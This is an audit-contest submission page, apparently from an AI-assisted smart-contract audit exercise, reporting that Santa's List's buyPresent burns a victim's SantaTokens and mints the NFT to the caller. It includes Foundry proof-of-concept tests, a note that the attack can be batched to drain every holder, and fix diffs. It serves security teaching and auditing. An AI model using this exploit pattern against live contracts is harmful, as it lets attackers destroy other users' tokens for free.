Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

buyPresent burns the victim's SantaTokens and mints the NFT to the caller — free presents at anyone's expense

Description

buyPresent(address presentReceiver) calls i_santaToken.burn(presentReceiver) — it burns the argument address's tokens, not the caller's. And SantaToken.burn only checks msg.sender == santasList, with no allowance check. So an attacker holding zero tokens calls buyPresent(victim): the victim's 1e18 SantaToken is burned, and the attacker receives a present NFT for free. The developer meant "caller spends tokens to buy someone a present"; what they wrote is "burn someone's tokens to mint myself a present".

Root cause

// src/SantasList.sol
function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver); // burns the ARGUMENT's tokens, not msg.sender's
_mintAndIncrement(); // _safeMint(msg.sender, ...) — NFT always to caller
}
// src/SantaToken.sol
function burn(address from) external {
if (msg.sender != i_santasList) { revert SantaToken__NotSantasList(); }
_burn(from, 1e18); // no allowance check — any `from` gets burned
}

The from parameter is fully attacker-controlled with zero authorization. _mintAndIncrement is _safeMint(msg.sender, s_tokenCounter++) — the NFT always lands with the caller.

Impact

  • Attacker (0 SantaToken) → buyPresent(victim) → victim's 1e18 tokens destroyed without consent, attacker gets 1 present NFT (resellable).

  • Batchable: iterate over all EXTRA_NICE users, drain the entire SantaToken supply while minting attacker NFTs.

  • Pure loss for victims, pure profit for attacker, zero cost or prerequisites.

Risk

Likelihood: High — a single external call, no tokens held, no privileges, no preconditions. Victim addresses are public (anyone who collected a present holds tokens).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {SantasList} from "../../src/SantasList.sol";
import {SantaToken} from "../../src/SantaToken.sol";
import {Test, console} from "forge-std/Test.sol";
contract SantasListBurnVictimPoC is Test {
SantasList santasList; SantaToken santaToken;
address santa = makeAddr("santa");
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
function setUp() public {
vm.startPrank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
santasList.checkList(victim, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(victim, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.prank(victim);
santasList.collectPresent(); // victim holds 1e18 SantaToken
}
function testPoC_BuyPresentBurnsVictim() public {
assertEq(santaToken.balanceOf(victim), 1e18);
assertEq(santaToken.balanceOf(attacker), 0, "attacker holds zero tokens");
vm.prank(attacker);
santasList.buyPresent(victim); // burns VICTIM's tokens, mints to ATTACKER
assertEq(santaToken.balanceOf(victim), 0, "victim tokens burned without consent");
assertEq(santasList.balanceOf(attacker), 1, "attacker got free NFT");
}
}

forge test --match-test testPoC_BuyPresentBurnsVictim → PASS (victim 1e18→0, attacker 0→1 NFT).

Recommended Mitigation

Burn the caller's tokens, not the argument's:

function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
+ i_santaToken.burn(msg.sender);
_mintAndIncrement();
}

Rationale: the intended semantic is "caller spends their own tokens to buy a present" — the burn target must be msg.sender. The presentReceiver parameter is disconnected from _mintAndIncrement (which hardcodes msg.sender as recipient); the minimal consistent fix aligns the payer with the beneficiary. (If the real product intent is "buy for someone else", the NFT should go to presentReceiver too and the caller should explicitly approve the spend — a different feature, not what this code expresses.)

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] SantasList::buyPresent burns token from presentReceiver instead of caller and also sends present to caller instead of presentReceiver.

## Description The `buyPresent` function sends the present to the `caller` of the function but burns token from `presentReceiver` but the correct method should be the opposite of it. Due to this implementation of the function, malicious caller can mint NFT by burning the balance of other users by passing any arbitrary address for the `presentReceiver` field and tokens will be deducted from the `presentReceiver` and NFT will be minted to the malicious caller. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. `buyPresent` function should send the present (NFT) to the `presentReceiver` and should burn the SantaToken from the caller i.e. `msg.sender`. ## Vulnerability Details The vulnerability lies inside the SantasList contract inside the `buyPresent` function starting from line 172. The buyPresent function takes in `presentReceiver` as an argument and burns the balance from `presentReceiver` instead of the caller i.e. `msg.sender`, as a result of which an attacker can specify any address for the `presentReceiver` that has approved or not approved the SantasToken (it doesn't matter whether they have approved token or not) to be spent by the SantasList contract, and as they are the caller of the function, they will get the NFT while burning the SantasToken balance of the address specified in `presentReceiver`. This vulnerability occurs due to wrong implementation of the buyPresent function instead of minting NFT to presentReceiver it is minted to caller as well as the tokens are burnt from presentReceiver instead of burning them from `msg.sender`. Also, the NatSpec mentions that one has to approve `SantasList` contract to burn their tokens but it is not required and even without approving the funds can be burnt which means that the attacker can burn the balance of everyone and mint a large number of NFT for themselves. ```cpp /* * @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens. * @dev You'll first need to approve the SantasList contract to spend your SantaTokens. */ function buyPresent(address presentReceiver) external { @> i_santaToken.burn(presentReceiver); @> _mintAndIncrement(); } ``` ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol` Run the test: ```cpp forge test --mt test_AttackerCanMintNft_ByBurningTokensOfOtherUsers ``` ```cpp function test_AttackerCanMintNft_ByBurningTokensOfOtherUsers() public { // address of the attacker address attacker = makeAddr("attacker"); vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); assertEq(santaToken.balanceOf(user), 1e18); uint256 attackerInitNftBalance = santasList.balanceOf(attacker); // attacker get themselves the present by passing presentReceiver as user and burns user's SantaToken vm.prank(attacker); santasList.buyPresent(user); // user balance is decremented assertEq(santaToken.balanceOf(user), 0); assertEq(santasList.balanceOf(attacker), attackerInitNftBalance + 1); } ``` ## Impact - Due to the wrong implementation of function, an attacker can mint NFT by burning the SantaToken of other users by passing their address for the `presentReceiver` argument. The protocol assumes that user has to approve the SantasList in order to burn token on their behalf but it will be burnt even though they didn't approve it to `SantasList` contract, because directly `_burn` function is called directly by the `burn` function and both of them don't check for approval. - Attacker can burn the balance of everyone and mint a large number of NFT for themselves. ## Recommendations - Burn the SantaToken from the caller i.e., `msg.sender` - Mint NFT to the `presentReceiver` ```diff + function _mintAndIncrementToUser(address user) private { + _safeMint(user, s_tokenCounter++); + } function buyPresent(address presentReceiver) external { - i_santaToken.burn(presentReceiver); - _mintAndIncrement(); + i_santaToken.burn(msg.sender); + _mintAndIncrementToUser(presentReceiver); } ``` By applying this recommendation, there is no need to worry about the approvals and the vulnerability - 'tokens can be burnt even though users don't approve' will have zero impact as the tokens are now burnt from the caller. Therefore, an attacker can't burn others token.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!